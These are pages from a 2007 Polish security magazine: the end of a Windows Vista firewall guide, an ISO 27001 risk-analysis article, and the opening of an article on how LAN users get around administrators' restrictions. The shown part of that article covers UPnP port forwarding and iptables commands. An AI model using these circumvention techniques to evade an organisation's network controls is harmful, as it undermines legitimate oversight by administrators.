trowaniem połączeń wychodzących. Pozwala 
to na określenie, które aplikacje dopuszczone 
są do generowania ruchu w sieci. 

Różne profile

Możliwe jest konfigurowanie różnych reguł 
i ustawień dla różnych profili. Do dyspozycji 
mamy następujące profile:

Domain (Domena) - Używane podczas połą-
czenia komputera do domeny Active Direc-
tory, której dany komputer jest członkiem.

Private (Prywatne) - Używane kiedy kompu-
ter podpięty jest do prywatnej sieci za wła-
sną bramą lub routerem. Tylko użytkownik z 
uprawnieniami administracyjnymi może de-
sygnować daną sieć jako prywatną.

Public (Publiczna) – Używana kiedy komputer 
podłączony jest bezpośrednio do internetu lub 
dowolnej innej sieci, która nie została zazna-
czona jako domena lub prywatna.

Wspracie dla 
Active Directory

Możliwe jest stworzenie reguł firewall, któ-
re filtrować będą połączenia użytkowni-
ka, komputera lub grupy w Active Directo-
ry. Dla tego typu reguł połączenie musi być 
zabezpieczone przy użyciu IPSec używa-
jąc uprawnień, którymi możliwe jest przesy-
łanie informacji o koncie np. Kerberos wer-
sja 5 (v5).

Wsparcie dla IPv6

Windows Firewall with Advanced Security w 
pełni wspiera czyste środowisko Ipv6

background image

Zapora systemu Windows Vista

hakin9 Nr 4/2007

www.hakin9.org

43

Rysunek  3.  przedstawia  kolejność 
wykonywania  poszczególnych  reguł 
przez  Windows  Firewall.  Kolejność 
ta jest zawsze zachowana i wykony-
wana, nawet jeśli reguły pochodzą z 
Group Policy. 

Reguły, włączając te z Group Po-

licy,  są  sortowane,  a  następnie  za-
stosowywane.  Administratorzy  do-
meny  mogą  pozwolić  lub  zabronić 
administratorom  lokalnym  na  two-
rzenie nowych reguł. 

Konfigurowanie 

właściwości firewalla

Aby  rozpocząć  konfigurację  naszej 
zapory  uruchamiamy  opcję  właści-
wości  Windows  Firewall.  Zostanie 
uruchomione okienko z Rysunku 4.

Zaraz po uruchomieniu zobaczyć 

można  trzy  dostępne  profile  oraz 
konfigurację  IPSec.  Aktualny  status 
pracy zapory możemy zobaczyć po-
przez zamknięcie okienka i przejście 
do widoku głównego konsoli (Rysu-
nek 6.). 

W tym przypadku, pomimo że sa-

ma  zapora  jest  włączona,  nie  jest 
ona do końca skonfigurowana. Więk-
szość  ustawień  ma  standardowe 
właściwości,  co  może  spowodować 
potencjalne zagrożenie. W kolejnych 
opcjach  możemy  ustawić  poszcze-
gólne reguły.

Przeglądanie  reguł  dostępne 

jest z menu w opcjach „reguły przy-
chodzące”  oraz  „reguły  wychodzą-
ce”.  W naszym przypadku nie mamy 
jeszcze zdefiniowanych żadnych re-
guł. Tworzenie nowych reguł również 
odbywa się z lewego panelu widoku 
głównego.  Mamy  możliwość  utwo-
rzenia następujących typów reguł:

•  Reguły  dla  programów  –  po-

zwala na połączenie tylko kon-
kretnym programem. Żaden in-
ny program nie będzie mógł ko-
rzystać  z  sieci.  Identyfikacja 
następuje  po  wskazaniu  ścież-
ki i pliku uruchomieniowego dla 
danego programu.

•  Reguły  dla  portów  –  ten  typ  re-

guł pozwala kontrolować ruch dla 
poszczególnych  numerów  por-
tów TCP lub UDP lub też wybra-
nego zakresu.

•  Reguły  predefiniowalne  –  Win-

dows zawiera kilkadziesiąt funkcji 
systemu,  które  możemy  włączyć, 
np.  udostępnianie  plików  i  druka-
rek,  zdalny  dostęp.  Wybierając 
predefiniowaną regułę pozwalamy 
danej usłudze na dostęp do sieci. 

•  Reguły  własne  –  pozwalają  na 

tworzenie pozostałych reguł, któ-
rych nie dało się zrobić lub uru-
chomić regułami standardowymi.

Jak  utworzyć  regułę?  Wykonujemy 
to w kilku krokach. W naszej konso-

Rysunek 3. 

Kolejność wykonywania poszczególnych reguł

Rysunek 4. 

Konfiguracja zapory

background image

hakin9 Nr 4/2007

www.hakin9.org

Obrona

44

li na liście klikamy w reguły przycho-
dzące  lub  reguły  wychodzące  i  wy-
bieramy  opcję  nowa  reguła.  Uka-
że się okienko, jak na Rysunku 6, w 
którym  wybieramy  typ  naszej  regu-
ły,  a  następnie  przechodzimy  przez 
wszystkie  kroki  kreatora,  który  pro-
wadzi nas przez poszczególne usta-
wienia. 

Dostęp z linii poleceń

Bardzo przydatnym narzędziem jest 
polecenie  Netsh  Advfirewall,  które 
dostępne  jest  z  linii  poleceń.  Dzięki 
niemu  możemy  skonfigurować  nasz 
firewall  bez  potrzeby  uruchamia-
nia  aplikacji  okienkowych.  W  syste-
mie Vista używając polecenia netsh 

możliwe  jest  tworzenie  skryptów  do 
automatycznej konfiguracji ustawień 
Windows  Firewall,  tworzenia  reguł, 
monitorowania  połączeń,  a  także 
wyświetlania statusu całej zapory.

Po wydaniu polecenia netsh ad-

vfirewall mamy do dyspozycji nastę-
pujące polecenia:

•  Export/Import  –  eksportuje  lub 

importuje aktualne polisy zapory 
do lub z  pliku.

•  Help  –  wyświetla  listę  dostęp-

nych poleceń. 

•  Reset – przywrócenie standardo-

wych ustawień.

•  Set file – kopiuje zawartość kon-

soli do pliku.

•  Set machine – zmienia maszynę, 

którą aktualnie konfigurujemy. 

•  Show  allprofiles/domainprofile/

privateprofile/publicprofile  –  wy-
świetlenie ustawień dla wybrane-
go profilu.

Podsumowanie

Windows Firewall w systemie Win-
dows  Vista  jest  zaporą,  która  po-
zwala  na  blokowanie  przychodzą-
cych  i  wychodzących  połączeń. 
Użytkownicy,  którzy  są  mniej  za-
awansowani  w  konfiguracji  zapory 
systemu mogą nadal używać stare-
go  i  znanego  narzędzia  dostępne-
go w Panelu Sterowania. Użytkow-
nicy  bardziej  zaawansowani  mają 
do  dyspozycji  całą  konsolę  MMC, 
która pozwala na bardzo dokładne 
i  bardzo  szczegółowe  ustawienia. 
Dodatkowo nowe opcje firewalla są 
teraz  zintegrowane  z  IPSec.  Win-
dows Firewall with Advanced Secu-
rity pracuje również z Network Lo-

cation Awareness (NLA), który po-
zwala na stosowanie ustawień bez-
pieczeństwa  bazując  na  typie  sie-
ci,  do  którego  podpięty  jest  kom-
puter. Musimy jednak znać zasady 
połączeń sieciowych, mieć podsta-
wową  znajomość  protokołów  i  ca-
łej masy innych ustawień, które są 
konieczne  do  tego,  aby  zabezpie-
czyć się przed intruzami. Nieumie-
jętne oraz niedokładne korzystanie 
z ustawień zapory może przynieść 
nam  więcej  szkody  niż  pożytku. 
Czasami  warto  jest  po  prostu  po-
zostawić  standardowe  ustawienia 
i unikać miejsc w sieci, które mogą 
spowodować włamanie do naszego 
komputera. l

Rysunek 6. 

Widok główny konsoli

Rysunek 5. 

Dostępne typy reguł

O autorze

Autor  jest  pracownikiem  firmy  Micro-
soft Polska. Pracuje na stanowisku De-
weloper Evangelist w dziale Developer 
Evangelist  w  dziale  Developer  &  Plat-
form Group. Zajmuje się bazami dany-
ych,  hurtowniami  danych  oraz  rozwią-
zaniami  portalowymi  w  oparciu  o  na-
rzędzia Microsoft.
Kontakt z autorem: arturz@micro-
soft.com

background image
background image

www.hakin9.org

hakin9 Nr 4/2007

46

Obrona

T

a  częsta  praktyka  może  doprowadzić 
do sytuacji, w której nie będzie można 
poradzić sobie z daną katastrofą lub in-

cydentem, ponieważ nie będzie zdefiniowane-
go  logicznego  i  przemyślanego  planu  postę-
powania z ryzykiem. 

Będziemy się wtedy zastanawiać nie tyl-

ko, co zrobić, ale dlaczego dany incydent w 
ogóle  mógł  mieć  miejsce.  Sami  wtedy  doj-
dziemy do wniosku, że być może nie zostały 
zdefiniowane i zastosowane odpowiednie za-
bezpieczenia,  lub  same  procesy  nie  zostały 
dokładnie  przeanalizowane  pod  kątem  bez-
pieczeństwa.

Podstawą  każdego  wdrożenia  Systemu 

Zarządzania Bezpieczeństwem Informacji jest 
przede  wszystkim  sprawnie  przeprowadzona 
i przemyślana analiza ryzyka. Jest ona punk-
tem  wyjściowym  do  dostosowania  polityki 
bezpieczeństwa do faktycznych potrzeb i real-
nych zagrożeń dla danej organizacji. 

Sama  norma  ISO  27001  wymaga  od 

przedsiębiorstwa, zdefiniowania i przeanalizo-
wania potencjalnego ryzyka i wybrania na je-
go podstawie odpowiednich metod zabezpie-
czeń. Jednak sama analiza ryzyka to później-
szy etap.

Krok pierwszy – wybór metody

Pierwsze  kroki  przy  rozpoczęciu  całego  pro-
cesu  analizy  ryzyka  to  wybór  odpowiedniej 
metody jego przeprowadzenia i dobranie od-
powiednio  przeszkolonego  personelu.  Wśród 
specjalistów  zaangażowanych  w  prace  nad 
analizą  ryzyka  powinni  znaleźć  się  członko-
wie zarządu firmy, dyrektorowie pionów, dzia-
łów,  informatycy  oraz  pracownicy  ochrony  fi-
zycznej.  Wspólnie  określają  oni  poziom  ak-
ceptowanego  ryzyka  oraz  podatność  przed-
siębiorstwa na nie. Przed rozpoczęciem prac 
nad  analizą  ryzyka,  powinny  zostać  sklasyfi-
kowane  informacje  oraz  aktywa  je  przetwa-
rzające,  przechowujące  i  niszczące  informa-
cje. Należy również zdefiniować tzw. „obsza-
ry bezpieczne”, w których znajdują się strate-

Analiza ryzyka – Zarządza- 

nie Bezpieczeństwem 

Informacji

Tomasz Polaczek

stopień trudności

Częstym błędem przy wdrażaniu polityki bezpieczeństwa 

informacji w rozmaitych organizacjach, jest szybkie i 

powierzchowne podejście do problemów. Bardziej oparte na 

intuicji, niż wynikające z przemyślanych analiz incydentów, czy 

innych zdarzeń mających wpływ na zachwianie bezpieczeństwa 

zarówno informacji, jak i IT. 

Z artykułu dowiesz się...

•   czym jest analiza ryzyka,
•   dlaczego  jest  tak  ważnym  procesem  przy 

wdrażaniu  sprawnego  Systemu  Zarządzanie 
Bezpieczeństwem  Informacji.  Sprawnie  prze-
prowadzona, z odpowiednią grupą osób z or-
ganizacji, jest podstawą bezpieczeństwa.

background image

System Zarządzania Bezpieczeństwem Informacji

hakin9 Nr 4/2007

www.hakin9.org

47

giczne  dane  organizacji,  sprzęt  in-
formatyczny  oraz  pracownicy,  któ-
rych  brak  lub  odejście  z  firmy  mo-
że  spowodować  wypłynięcie  waż-
nych danych lub zachwianie ciągło-
ści  działania.  Ważne  jest  również 
określenie  właścicieli  danych  infor-
macji i aktywów.

Krok drugi – 

identyfikacja zagrożeń

Następnie  przychodzi  czas  na  do-
kładną identyfikację zagrożeń i po-
datności na nie dla każdego ze skla-
syfikowanych  aktywów,  informacji, 
obszarów  oraz  ludzi.  Istotne  jest, 
aby  identyfikacja  dotyczyła  real-
nych,  prawdopodobnych  zagrożeń, 
na  jakie  może  zostać  narażona  or-
ganizacja. Po tak dokładnej identy-
fikacji,  określa  się  skutki  potencjal-
nych katastrof.

Określając  skutki  wystąpienia 

katastrofy możemy w prosty sposób 
przejść do wyboru odpowiednich za-
bezpieczeń w postaci sprzętu, opro-
gramowania,  procesów,  procedur 
oraz  polityk.  Wybór  zabezpieczeń 
na podstawie przeprowadzonej ana-
lizy  znacznie  wpływa  na  zminimali-
zowanie kosztów wdrożenia tych za-
bezpieczeń oraz na jego czas. Jeśli 
w analizie zostaną określone ryzyka 
krytyczne, to bardzo ważne  dla da-
nej organizacji jest jak najszybsze je-
go zmniejszenie do poziomu akcep-
towalnego.

Po oszacowaniu skutków wystą-

pienia ryzyka, należy też oszacować  
hipoteczną wielkość szkód, jakie mo-
że spowodować dana katastrofa. 

Krok trzeci - 

prawdopodobieństwo

W  następnym  etapie,  gdy  mamy 
już  oszacowane  ewentualne  skut-
ki  i  szkody  spowodowane  wystą-
pieniem  katastrofy,  należy  określić 
prawdopodobieństwo ich wystąpie-
nia. Dla niektórych obszarów, akty-
wów,  procesów,  prawdopodobień-
stwo to może być wysokie z uwagi 
na  niezastosowanie  w  tych  obsza-
rach żadnych zabezpieczeń, lub za-
stosowanie  słabych,  niewystarcza-
jących  i  nie  adekwatnych  do  waż-
ności  samego  zagadnienia.  Poja-

wią  się  też  obszary,  aktywa,  infor-
macje,  gdzie  prawdopodobieństwo 
będzie  bardzo  małe;  zabezpiecze-
nia mogą już istnieć, być odpowied-
nie  i  wystarczające,  co  w  dużym 
stopniu zmniejsza ryzyko wystąpie-
nia  katastrofy.  Jednak  nawet  mimo 
wystąpienia  małego  prawdopodo-
bieństwa, należy zawsze zachować 
czujność i na bieżąco monitorować 
obszary,  aktywa,  informacje,  ludzi 
wymienionych w analizie ryzyka.

Same  ryzyka  możemy  podzielić 

na cztery grupy:

•   Ryzyko akceptowalne
•   Ryzyko akceptowalne czasowo
•   Ryzyko nieakceptowane
•   Ryzyko krytyczne

Dla  każdego  z  nich  możemy  zało-
żyć  odpowiednie  ramy  czasowe,  w 
których musimy dane ryzyko zmniej-
szyć lub tylko monitorować - w przy-
padku ryzyka akceptowalnego. Moż-
na  założyć  sobie  następujący  sce-
nariusz.

Ryzyko  akceptowalne  –  nie  są 

podejmowane  żadne  działania,  jest 
ono monitorowane podczas przeglą-
du SZBI.

Ryzyko  akceptowalne  warunko-

wo  –  Forum  Zarządzania  Bezpie-
czeństwem Informacji decyduje, czy 

zostaną podjęte działania korygujące 
i zapobiegawcze, zależy to od orga-
nizacji pracy oraz kosztów zabezpie-
czeń. Jeżeli nie są wymagane dzia-
łania korygujące lub zapobiegawcze 
to  stosowane  są  zabezpieczenia  z 
załącznika A normy ISO 27001, de-
cyzje są podejmowane do roku.

Ryzyko nieakceptowane - Forum 

Zarządzania  Bezpieczeństwem  In-
formacji podejmuje działania korygu-
jące i zapobiegawcze w czasie do 6 
miesięcy.

Ryzyko krytyczne - Forum Zarzą-

dzania  Bezpieczeństwem  Informacji 
podejmuje działania korygujące i za-
pobiegawcze w czasie do 3 miesię-
cy,  przeprowadza  audit  wewnętrz-
ny ISO 27001 we wszystkich obsza-
rach Urzędu, po 3 miesiącach prze-
prowadzana  jest  jeszcze  raz  anali-
za ryzyka.

Jednak,  aby  bardziej  unaocznić  

tą problematykę, przedstawimy sce-
nariusz  realnej  analizy  ryzyka  oraz 
całego  procesu,  jaki  się  w  związku 
z nią odbywa.

Przykładowy scenariusz

Organizacja  chcąca  wdrożyć  w 
swych  strukturach  System  Zarzą-
dzania 

Bezpieczeństwem 

Infor-

macji  postanowiła  rozpocząć  pra-
cę  od  dokładnego  oszacowania 

Rysunek 1. 

Spotkanie z kierownictwem organizacji

background image

hakin9 Nr 4/2007

www.hakin9.org

Obrona

48

ryzyka, istniejących podatności, praw-
dopodobieństwa występowania zagro-
żeń oraz analizy ryzyka. Na początku 
wdrożenia powołano, zgodnie z wyma-
ganiem normy, forum bezpieczeństwa 
odpowiedzialne za nadzór nad proce-
sem  wdrożenia.  Do  prac  nad  analizą 
ryzyka  zaproszono  zarząd,  wszyst-
kich dyrektorów pionów, informatyków, 
służby ochrony. Wraz z konsultantami 
z  zakresu  bezpieczeństwa  informa-
cji oraz bezpieczeństwa IT, zaczeli się 
oni zastanawiać, czy i jakie wystąpiły 
w przeszłości w organizacji incydenty 
dotyczące  naruszenia informacji, awa-
rii  systemów  informatycznych,  zakłó-
ceń  związanych  z  bezpieczeństwem 
fizycznym i środowiskowym w obsza-
rach organizacji. Po określeniu takich 
incydentów, przeanalizowano raz jesz-
cze, jakie czynniki miały wpływ na ich 
wystąpienie i jakie działania korygują-
ce i zapobiegawcze zastosowano, aby 
nie dopuścić w przyszłości do ponow-
nego wystąpienia podobnych zdarzeń. 
Analizując te dane wraz z powołanymi 
specjalistami  z  zakresu  bezpieczeń-
stwa  informacji  i  bezpieczeństwa  IT, 
zaczęto się zastanawiać, czy obecnie 
zastosowane zabezpieczenia są ade-
kwatne  do  wagi  posiadanych  przez 
przedsiębiorstwo informacji, aktywów, 
procesów, obszarów i ludzi. 

Wcześniej  jednak  konsultanci 

przekazali wszystkim dyrektorom pio-
nów,  formularz  dotyczący  klasyfika-
cji informacji i aktywów, jakie znajdu-
ją się w organizacji, a jakie mają dla 
nich  znaczenie  (prawne,  rynkowe, 
strategiczne). Informacje zwrotne zo-
stały  dodane  do  szablonu  szacowa-
nia ryzyka. Wspólnie z całą powołaną 
kadrą określono realne, istniejące po-
datności-tzw. „słabe punkty” w orga-
nizacji, mogące mieć wpływ na naru-
szenie bezpieczeństwa dla wymienio-
nych  informacji,  aktywów,  obszarów 
czy procesów. W tym momencie kon-
sultanci  mieli  przygotowany  dokład-
ny szablon analizy ryzyka i mogli po-
dejść do jego szacowania. Na pierw-
szej  pozycji  pojawił  się  budynek  za-
rządu, jako ważny obszar, w którym 
przetwarzane  i  przechowywane  są 
najważniejsze informacje. Określono 
dla  niego  kilka  realnych  podatności. 

Były nimi:

•   Włamanie fizyczne do budynk
•   Pożar
•   Zalanie
•   Włamanie  fizyczne  do  pomiesz-

czenia zastępcy Dyrektora finan-
sowego

•   Kradzież laptopów
•   Sabotaż  wewnętrzny  ze  strony 

pracowników ochrony

Następnie  określone  zostały  prawdo-
podobieństwa  wystąpienia  realnych 
zagrożeń  dla  tych  obszarów.  Uzna-
no,  że  należy  wzmocnić  ochronę  fi-
zyczną budynku poprzez zainstalowa-
nie lepszego monitoringu zarówno we-
wnątrz, jak i na zewnątrz budynku, po-
prosić przedstawiciela straży pożarnej 
o jeszcze jedną analizę systemu prze-
ciwpożarowego i ewentualne wzmoc-
nienie  budynku  w  tym  obszarze. 
W  przypadku  pomieszczeń  członków 
zarządu,  ustalono,  że  zostanie  okre-
ślony  oddzielny  obszar  bezpieczny, 
w  którym  znajdować  się  będą  biura 
członków zarządu. Obszar ten będzie 
oddzielony  za  pomocą  szklanej  ścia-
ny  z  drzwiami  na  zamek  magnetycz-
ny otwierany przez wprowadzenie sze-
ściocyfrowego  kodu  PIN.  Dodatkowo 
przed obszarem, zostanie umieszczo-
ny sekretariat, który będzie wpuszczał 
wyłącznie umówionych interesantów.

Kradzież laptopów z ważnymi da-

nymi jest dla każdej organizacji uciąż-
liwa, nie wiadomo gdzie dane te trafia-

ją.  Dlatego  też  ustalono,  że  zostanie 
stworzona oddzielna, dość restrykcyj-
na  procedura  dotycząca  wynoszenia 
sprzętu  komputerowego  poza  obszar 
firmy, tak, aby zminimalizować ryzyko 
jego  utraty.  Ponadto  ustalono,  że  zo-
stanie zakupiony odpowiedni sprzęt do 
wzmocnienia  ochrony  tych  urządzeń 
oraz  lepsze,  bezpieczniejsze  nośniki, 
niesugerujące pochodzenia.

Jedynym  problemem  do  rozwią-

zania  pozostał  ewentualny  sabotaż 
wewnętrzny w firmie. Jest on niezwy-
kle trudny do udowodnienia, a jeszcze 
trudniej znaleźć winnego tych działań. 
Zarząd  zlecił  stworzenie  odpowied-
nich  procedur  związanych  z  zatrud-
nieniem  pracowników,  ich  rekrutacją 
i weryfikacją posiadanych przez nich 
kwalifikacji.  Ponadto  obecnym  pra-
cownikom  nakazano  podpisanie  sto-
sownych  oświadczeń  bezpieczeń-
stwa,  mówiących  o  ewentualnych 
sankcjach  w  przypadku  udostępnie-
nia informacji, jej kradzieży, zniszcze-
nia  lub  zmodyfikowania  bez  zgody  i 
wiedzy przełożonego.

Co  prawda  żadna  organizacja 

O autorze

Autor  jest  Product  Managerem  ds. 
zarządzania bezpieczeństwem informa-
cji w Computer Service Support S.A.
Kontakt  z  autorem:  tomasz.polacze-
k@css.pl

Rysunek 2. 

Analiza ryzyka, czyli burza mózgów przeprowadzona z 

kierownictwem organizacji

background image

System Zarządzania Bezpieczeństwem Informacji

nigdy  nie  osiągnie  100%  bezpie-
czeństwa,  ale  może  je  realnie  zmi-
nimalizować.

Znając  już  dokładne  sposoby,  ja-

kie można wykorzystać do zminimali-
zowania zagrożenia, określamy praw-
dopodobieństwo jego wystąpienia na 
podstawie incydentów, jakie wystąpi-
ły w przeszłości. Należy przy tym pa-
miętać, że logiczny jest wybór zabez-
pieczeń,  których  koszt  nie  przekro-
czy  wartości  aktywu,  informacji,  któ-
re chcemy zabezpieczyć.

Po  określeniu  tych  wszystkich 

czynników,  zarząd  miał  pełen  obraz 
realnych  zagrożeń,  określił  przedział 
czasu,  w  jakim  dane  zabezpieczenia 
dla  określonych  obszarów,  aktywów 
i  informacji  zostaną  wdrożone  i  mógł 
przystąpić do wdrożenie całego Syste-
mu Zarządzania Bezpieczeństwem In-
formacji ISO 27001 w całej organizacji. 
Poza  zastosowaniem  odpowiednich 
zabezpieczeń,  możemy  również  za-

stosować inne metody. Jest to na przy-
kład unikanie ryzyka, czyli zastanowie-
nie się, w jaki sposób możemy uniknąć 
ryzyka  lub,  przeniesienie  samego  ry-
zyka  na  inne  obszary,czy  procesy  w 
organizacji.

Podsumowanie

Opisana metoda, hipotetyczny scena-
riusz szacowania oraz analizy ryzyka 
są jednymi z wielu możliwości. Na ryn-
ku istnieje wiele programów wspoma-
gających  szacowanie  ryzyka.  Dlate-
go też ważne jest, aby podchodząc do 
analizy ryzyka, wybrać najskuteczniej-
szą i najlepszą metodę, która dokład-
nie wpasuje się w organizację oraz jej 
potrzeby. Należy również pamiętać, że 
dane, jakie uzyskamy z analizy ryzyka, 
posłużą nam później do formułowania 
planu ciągłości działania organizacji w 
przypadku katastrof i incydentów mo-
gących realnie w niej wystąpić. l

UWAGI

Należy  pamietać  że  dobra  analiza  ry-
zyka  powinna  być  przeprowadzana 
indywidualnie  dla  danej  organizacji, 
uwzględniając w niej realne zagrożenie 
oraz  faktycznie  istniejące  podatności, 
które mogą mieć realny wpływ na na-
ruszenie bezpieczeństwa zasobów in-
fomracyjnych organizacji. 

Analiza ryzyka powinna być prze-

prowadzana  z  najwyższym  kierownic-
twem  organizacji,  kierownikami  po-
szególnych  działów,wydziałów,depar-
tamentów, pownieważ tylko wtedy bę-
dziemy mieć realny wgląd w istniejące 
zabezpieczenia, podatności i zagroże-
nia, a nikt nie zna tak dobrze organiza-
cji jak ludzie w niej pracujący.

Na podstawie wyników z analizy ry-

zyka, możemy stworzyć sprawny plan 
ciągłości działania biznesowego orga-
nizacji oraz odpowiednika dla informa-
tyki, disaster recovery

R

E

K

L

A

M

A

background image

www.hakin9.org

hakin9 Nr 4/2007

50

Obrona

C

i pierwsi chcą kontrolować każde po-
sunięcie  drugich.  Z  kolei  użytkowni-
cy chcieliby mieć nieograniczony do-

stęp  do  wszystkich  usług  –  zwłaszcza  do 
modnych ostatnio p2p. W zależności od po-
trzeb użytkowników administrator ma do dys-
pozycji różne narzędzia, za pomocą których 
może przekierowywać porty, spiąć dwie sie-
ci lokalne lub zestawić tunel z komputerem w 
Internecie  powodując,  że  będzie  on  widzia-
ny w sieci lokalnej. Dodatkowo musi mieć na 
uwadze fakt, że istnieją techniki, za pomocą 
których  bardziej  wykwalifikowany  użytkow-
nik  może  osiągnąć  podobny  rezultat.  Może 
on mianowicie wejść w posiadanie narzędzi, 
które  zniwelują  wysiłki  administratora  idące 
ku ograniczaniu ruchu p2p oraz innych usług, 
do  których  administrator  nie  chce  dać  użyt-
kownikom dostępu.

Spełniając zachcianki 

użytkownika

Najczęściej użytkownicy sieci lokalnych chcą 

hostować gry. Z punktu widzenia administra-
tora oznacza to ni mniej ni więcej to, że nale-
ży przekierować jeden lub więcej portów z in-
terfejsu zewnętrznego do sieci lokalnej. Moż-

na  tego  dokonać  na  parę  sposobów.  Pierw-
szym sposobem jest ręczna konfiguracja. Aby 
przekierować port TCP wystarczy wydać po-
lecenie: 

iptables -t nat -A PREROUTING -i IINT -p tcp --
dport PORT_DOCELOWY -j DNAT --to-destination
ADRES_W_SIECI_LOKALNEJ 

Przegląd wybranych metod 

niwelowania ograniczeń 

sieci lokalnych

Konrad Malewski

stopień trudności

Istnieje wiele aplikacji, które do działania potrzebują publicznego 

adresu IP. Jest szereg sposobów, aby umożliwić użytkownikom 

wewnątrz sieci lokalnych korzystanie ze wszystkich zalet 

publicznego IP. Można powiedzieć, że istnieje pewnego rodzaju 

walka pomiędzy administratorami sieci komputerowych, a ich 

użytkownikami. 

Z artykułu dowiesz się...

•   Jak  przekierowywać  porty  z  wykorzystaniem 

urządzenia IGD.

•   Jak samodzielnie lub z pomocą administratora 

utworzyć wirtualną sieć.

•   Jak  stworzyć  tunel  IP  wykorzystujący  różne 

protokoły wyższych warstw.

Co powinieneś wiedzieć...

•   Powinieneś znać model ISO/OSI.
•   Powinieneś  mieć  ogólne  pojęcie  o  zasadzie 

działania sieci TCP/IP.

•   Powinieneś posiadać umiejętność administro-

wania systemem Linux na poziomie użytkowni-
ka.

background image

Pakiety w tunelu

hakin9 Nr 4/2007

www.hakin9.org

51

gdzie  zamiast  IINT  podajemy  inter-
fejs wejściowy np. eth0, PORT_DO-
CELOWY  ustalamy  dla  konkretnej 
usługi użytkownika, którego adres IP 
w  sieci  lokalnej  to  ADRES_W_SIE-
CI_LOKALNEJ.  Dodawanie  i  usu-
wanie  przekierowań  tym  sposobem 
jest  nieco  uciążliwe,  zwłaszcza  gdy 
wielu użytkowników chce przekiero-
wać jeden port (co wiąże się z czę-
stym dodawaniem i usuwaniem wpi-
sów), lub nie chce aby przekierowa-
nie było permanentne. 

Na  szczęście  można  ten  proces 

zautomatyzować.  W  tym  celu  nale-
ży uruchomić demona UPNP (z ang.: 

Universal  Plug  and  Play),  z  którym 
będą komunikować się aplikacje klien-
tów  tj.  Windows  Messenger,  Emu-
le itp. Pierwszym krokiem idącym do 
uruchomienia  IGD  jest  ściągnięcie, 
skompilowanie i skonfigurowanie pro-
gramu demona ([1] oraz [2]). Plik kon-
figuracji  (o  nazwie  upnpd.conf)  znaj-
duje  się  domyślnie  w  katalogu  /etc. 
Aby  uruchomić  program  przy  mini-

malnej konfiguracji należy ustawić po-
prawną  ścieżkę  dostępu  do  progra-
mu  Iptables.  Dla  celów  demonstra-
cyjnych należy również ustawić para-
metr duration tak, aby miał wartość in-
ną niż domyślna (np. 50) oraz ustawić 
zmienną  debug_info  na  3.  Parametr 
duration  określa  jak  długo  mapowa-
nie jest ważne. Po przekroczeniu te-
go czasu przekierowanie jest usuwa-
ne z routera. 

Ostatnią  rzeczą,  jaką  należy  wy-

konać  jest  dodanie  ście  żki  multica-
stowej do domyślnej tablicy routingu: 

route add -net 239.0.0.0 netmask
255.0.0.0 eth0

Uruchomienie demona IGD sprowa-
dza się do wydania komendy:

./upnpd -f eth1 eth0

Jeśli  nie  użyjemy  paremetru  -f,  de-
mon upnp uruchomi się w tle i nie bę-
dziemy widzieli komunikatów diagno-

stycznych.  Kolejne  parametry  pro-
gramu to nazwa interfejsu zewnętrz-
nego  oraz  wewnętrznego.  Po  uru-
chomieniu demona UPnP wszystkie 
aplikacje,  które  działają  na  kompu-
terach  w  sieci  lokalnej,  a  są  zdolne 
do  wykorzystania  zalet  IGD,  powin-
ny umieć wykryć obecność demona 
i korzystać z jego funkcji.

Istnieje klient UPnP ([3]), za po-

mocą którego można ręcznie stero-
wać  przekierowaniami  na  routerze. 
Program  ten  potrafi  automatycznie 
wykryć  urządzenia  zgodne  ze  spe-
cyfikacją IGD. W tym celu wykorzy-
stuje protokół SSDP do wykrywania 
urządzeń.  Nie  wgłębiając  się  zbyt-
nio w szczegóły zobaczmy, jak moż-
na ręcznie stworzyć przekierowanie 
TCP  z  portu  5000  na  routerze  do 
portu  22  na  kliencie.  Na  początku 
sprawdzamy status połączenia – wi-
doczne na Listingu 1.

Powyższa odpowiedź oznacza, że 

urządzenie UPnP działające na route-
rze, zostało wykryte. Dodatkowo pole-
cenie  zwraca  pewną  ilość  informacji 
statystycznych oraz informacje o para-
metrach skonfigurowanego łącza. Na-
leży zwrócić uwagę na fakt, że para-
metry  takie  jak  MaxBitRateDown  nie 
są wyliczane, a zwracana wartość jest 
parametrem z pliku konfiguracyjnego. 
Teraz przystąpmy do tworzenia prze-
kierowania za pomocą programu [3], 
co można zobaczyć na Listingu 2.

Jest to równoważne wydaniu na-

stępującej komendy na routerze:

/sbin/iptables -t nat -I PREROUTING
-i eth1 -p TCP --dport 5000 -

Rysunek 1. 

Prawdopodobna 

konfiguracja firewalla

Listing 1. 

Status połączenia

# ./upnpc -s

upnpc : miniupnp test client. (c) 2006 Thomas Bernard
go to http://miniupnp.free.fr/ 

for

 more information.

UPnP device :
desc: http://192.168.64.254:49152/gatedesc.xml
st: urn:schemas-upnp-org:device:InternetGatewayDevice:1
UPnP device :
desc: http://192.168.64.254:49152/gatedesc.xml
st: urn:schemas-upnp-org:device:InternetGatewayDevice:1
getting 

"http://192.168.64.254:49152/gatedesc.xml"

getting 

"http://192.168.64.254:49152/gateconnSCPD.xml"

Connection Type : IP_Routed
Status : Connected, 

uptime

=10548

MaxBitRateDown : 512000 bps MaxBitRateUp 512000 bps
Bytes: Sent: 490900 Recv: 34710590
Packets: Sent: 8881 Recv: 24517

Listing 2. 

Tworzenie przekierowania

#./upnpc -a 192.168.64.100 22 5000 tcp 

upnpc : miniupnp test client. (c) 2006 Thomas Bernard
go to http://miniupnp.free.fr/ 

for

 more information.

UPnP device :
desc: http://192.168.64.254:49152/gatedesc.xml
st: urn:schemas-upnp-org:device:InternetGatewayDevice:1
UPnP device :desc: http://192.168.64.254:49152/gatedesc.xml
st: urn:schemas-upnp-org:device:InternetGatewayDevice:1
getting 

"http://192.168.64.254:49152/gatedesc.xml"

getting 

"http://192.168.64.254:49152/gateconnSCPD.xml"

ExternalIPAddress = 192.168.198.64
InternalIP:Port = 192.168.64.100:22
external 192.168.198.64:5000 

is

 redirected to internal 192.168.64.100:22 

background image

hakin9 Nr 4/2007

www.hakin9.org

52

j DNAT --to 192.168.64.100:22
/sbin/iptables -A FORWARD -p TCP -d
192.168.64.100 --dport 22 -j ACCEPT 

Jeżeli na routerze został podniesio-
ny  poziom  logowania,  to  powyższa 
informacja  powinna  zostać  wyświe-
tlona  na  ekranie.  Po  upływie  czasu 
określonego  parametrem  duration 
przekierowanie  zostanie  automa-
tycznie skasowane poprzez usunię-
cie  dwóch  wpisów  w  firewallu.  Przy 
pomocy  programu  Upnpc  użytkow-
nik  może  także  usunąć  przekiero-
wanie  przed  upływem  czasu  dura-
tion,  oraz  wyświetlić  aktywne  prze-
kierowania.

